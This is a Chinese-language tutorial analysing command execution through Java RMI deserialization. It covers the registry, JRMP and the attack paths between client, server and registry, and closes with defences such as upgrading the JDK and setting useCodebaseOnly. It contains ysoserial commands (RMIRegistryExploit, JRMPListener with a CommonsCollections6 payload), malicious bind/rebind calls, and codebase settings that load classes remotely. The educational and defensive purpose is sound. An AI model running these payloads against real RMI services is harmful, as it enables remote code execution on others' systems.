Java RMI 命令执行深度剖析
1. Java RMI 基本介绍
Java RMI (Java Remote Method Invocation) 是 Java 编程语言中用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象,实现了在网络环境中分布操作的能力。
1.1 核心组成
Java RMI 由以下三个核心部分组成:
-
RMI Client:发起远程方法调用的程序
- 通过
Naming.lookup()方法使用字符串形式的对象名从 RMI Registry 获取远程对象的 Stub - 获得 Stub 后可以像调用本地对象一样调用远程对象的方法
- 通过
-
RMI Server:提供远程服务的程序
- 包含实际的远程对象实现
- 启动时需要创建远程对象实例并使用
Naming.rebind()方法将其与指定名称绑定到 RMI Registry - 接收客户端请求并执行相应操作后返回结果
-
RMI Registry:运行在服务器上的名称服务
- 管理远程对象的注册和查找
- 通常在独立进程中运行(默认端口 1099)
- 服务器启动时会注册其提供的远程对象
2. RMI 通信交互
2.1 交互流程
RMI 框架采用代理来负责客户与远程对象之间通过 Socket 进行通信的细节:
- Stub (存根):位于客户端的代理
- Skeleton (骨架):位于服务器端的代理类
2.2 通信过程
- Server 端监听一个随机端口
- Client 端通过 Stub 连接到 Server 端监听的通信端口并提交参数
- 远程 Server 端执行方法并返回结果给 Stub
- Stub 返回执行结果给 Client 端
2.3 序列化要求
远程方法调用涉及参数传递和执行结果返回,这些需要被传输的对象必须实现 java.io.Serializable 接口,且客户端的 serialVersionUID 字段要与服务器端保持一致。
3. JRMP 协议
3.1 基本介绍
JRMP (Java Remote Method Protocol) 是 Java 远程方法调用的专用协议,运行在 RMI 之下、TCP/IP 之上。JRMP 协议规定了在使用 RMI 时传输的数据如果包含 Java 原生序列化数据,在接收时都会进行反序列化,这可能导致反序列化漏洞。
3.2 实现方式
JRMP 接口的两种常见实现方式:
- JRMP 协议 - RMI 专用的 Java 远程消息交换协议
- IIOP 协议 - 基于 CORBA 实现的对象请求代理协议
4. RMI 攻击面分析
4.1 攻击注册中心
可利用方法
-
bind 方法
- 功能:将远程对象与给定名称绑定
- 漏洞点:会对传递的通信数据流进行反序列化
- 攻击示例:
Registry registry = LocateRegistry.getRegistry("localhost", 1099); registry.bind("malicious", maliciousObject);
-
rebind 方法
- 功能:重新绑定远程对象与给定名称
- 漏洞点:同样存在反序列化操作
- 攻击示例:
Registry registry = LocateRegistry.getRegistry("localhost", 1099); registry.rebind("malicious", maliciousObject);
-
lookup/unbind 方法
- 只能传递字符串对象,无法直接传递恶意对象
攻击演示
使用 ysoserial 攻击注册中心:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 calc
4.2 注册中心攻击客户端
利用条件
- 控制客户端连接恶意服务端
- 目标客户端允许远程加载类
- JDK 6u45、7u21、8u121 以下版本
攻击原理
客户端通过 lookup 向注册表查询后,注册中心返回的 Stub 对象会被反序列化。
攻击演示
- 启动恶意注册中心:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe
- 诱导客户端连接:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 whoami
4.3 服务端攻击客户端
攻击方式
-
服务端返回 Object 对象
- 当方法返回对象时,客户端会进行反序列化
- 攻击方式与注册中心攻击客户端类似
-
使用 codebase 动态加载
- 服务端在本地找不到类时返回 codebase 让客户端远程加载
- 需要满足:
- 客户端允许远程加载类
- JDK 6u45、7u21、8u121 以下版本
动态加载示例
服务端代码片段(设置 codebase):
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
4.4 客户端攻击服务端
利用条件
- RMI 服务端允许远程加载类
- JDK 6u45、7u21、8u121 以下版本
攻击方式
-
通过 JRMP 协议发送恶意序列化包
- 服务端处理 JRMP 消息时会反序列化
- 客户端无需接受返回,更安全
-
指定 codebase 方式
- 客户端设置 codebase
- 服务端从客户端指定位置加载类
攻击示例
恶意客户端代码:
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Services services = (Services)registry.lookup("Services");
services.sendMessage(maliciousObject);
5. 防御措施
-
升级 JDK 版本
- JDK 6u45、7u21、8u121 及以上版本默认禁用自动加载远程类
-
配置安全策略
- 设置
java.rmi.server.useCodebaseOnly=true - 配置合理的
java.security.policy
- 设置
-
输入验证
- 对 RMI 通信中的对象进行严格验证
-
网络隔离
- 限制 RMI 服务的网络访问
6. 总结
Java RMI 的安全问题主要源于:
- 默认使用 Java 原生序列化机制
- 动态类加载功能
- 早期版本安全配置宽松
攻击者可以利用这些特性通过多种途径实现远程代码执行,防御关键在于严格限制反序列化和类加载行为,并及时升级 JDK 版本。